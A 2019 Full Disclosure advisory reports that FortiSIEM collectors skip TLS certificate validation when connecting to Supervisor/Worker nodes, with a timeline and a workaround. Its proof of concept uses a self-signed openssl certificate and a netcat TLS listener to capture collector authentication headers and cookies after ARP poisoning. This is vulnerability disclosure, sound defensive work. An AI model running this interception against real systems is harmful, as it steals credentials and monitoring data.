Date: Tue, 1 Oct 2019 10:14:41 -0600
From: Andrew Klaus <andrew.klaus@...era.ca>
To: fulldisclosure@...lists.org
Subject: [FD] Fortinet FortiSIEM - Improper Certificate Validation

Product Name: FortiSIEM
Tested versions: 5.0, 5.2.1
Fixed in version: Only a manual workaround is available from Fortinet as of
this writing
Weakness Type:  CWE-295 - Improper Certificate Validation
Discovered by: Andrew Klaus (Cybera Canada)
CVE: Pending


== Disclosure Timeline:
June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated
ticket response)
July 15, 2019: Received response that the issue was forwarded to R&D Team
July 23, 2019: Fortinet contacted me to test a configuration change
July 24, 2019: Provided results of configuration change to Fortinet
Sept 23, 2019: Reminded Fortinet of public disclosure date
Oct 1, 2019: Public Disclosure


== Summary:
A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS
(443/TCP) to register itself as well as relaying event data such as syslog,
netflow, SNMP, etc.

When the Collector (the client) connects to the Supervisor/Worker (the
server), the client does not validate the server-provided certificate
against its root-CA store. Since the client does no server certificate
validation, this means any certificate presented to the client will be
considered valid and the connection will succeed.

If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning
attack (or any other MITM attack), the Collector will blindly connect to
the attacker's HTTPS TLS server. It will disclose the authentication
password used along with any data being relayed.


== Workaround:
Fortinet has created a document for customers to follow to enable
inter-node TLS validation.

At this time, Fortinet won't set this flag by default since it will impact
their existing customers. All new and existing customers will need to
follow the workaround guide that Fortinet is providing in order to mitigate.


== Proof of Concept  (PoC):

This PoC assumes a working Collector + Supervisor/Worker setup. This could
just as easily work on a Collector that is first being registered.

Note: This utilizes OpenBSD's netcat, which supports TLS. "nc" on other
operating systems may not support TLS.

(On attacker system)
First generate a new self-signed certificate:
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes
-days 365

Enter any dummy certificate details information.

Netcat listen on a TLS socket:

# nc -ckv6l -K key.pem -C cert.pem  %IP% 443
Listening on %IP% 443

After successfully poisoning the ARP cache to redirect the Collector to a
rogue server. The Collector will now connect to the attacker's TLS socket
and start sending data.

Connection received on %COLLECTOR-IP% 35244
GET
/phoenix/rest/sync/task?custId=%ID%&agentId=%ID%&time=1561402888&phProcessName=phMonitorAgent
HTTP/1.1
Authorization: Basic %AUTH-DATA%
Host: %SUPERVISOR-HOSTNAME%
Accept: */*
Cookie: JSESSIONID=%COOKIE-VALUE%


== Other Observations:

I observed this in the phoenix.log file on the FortiSIEM appliance:
[PH_GENERIC_DEBUG]:[eventSeverity]=PHL_DEBUG,[procName]=<unknown>,[fileName]=phHttpClient.cpp,[lineNumber]=1862,[phLogDetail]=set
CURLOPT_SSL_VERIFYPEER to no

This "VERIFYPEER" option determines whether curl verifies the authenticity
of the peer's certificate. A value of 1 means curl verifies the SSL/TLS
server certificate; 0 (zero) means it does not:
https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html.

The following provisioning scripts also have hardcoded curl commands with
the `-k / --insecure` flag set, which makes them susceptible to MITM'ing
connections when provisioning:

phProvisionCollector
phProvisionWorker
elastic_deploy.sh
elastic_deploy_url.sh

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists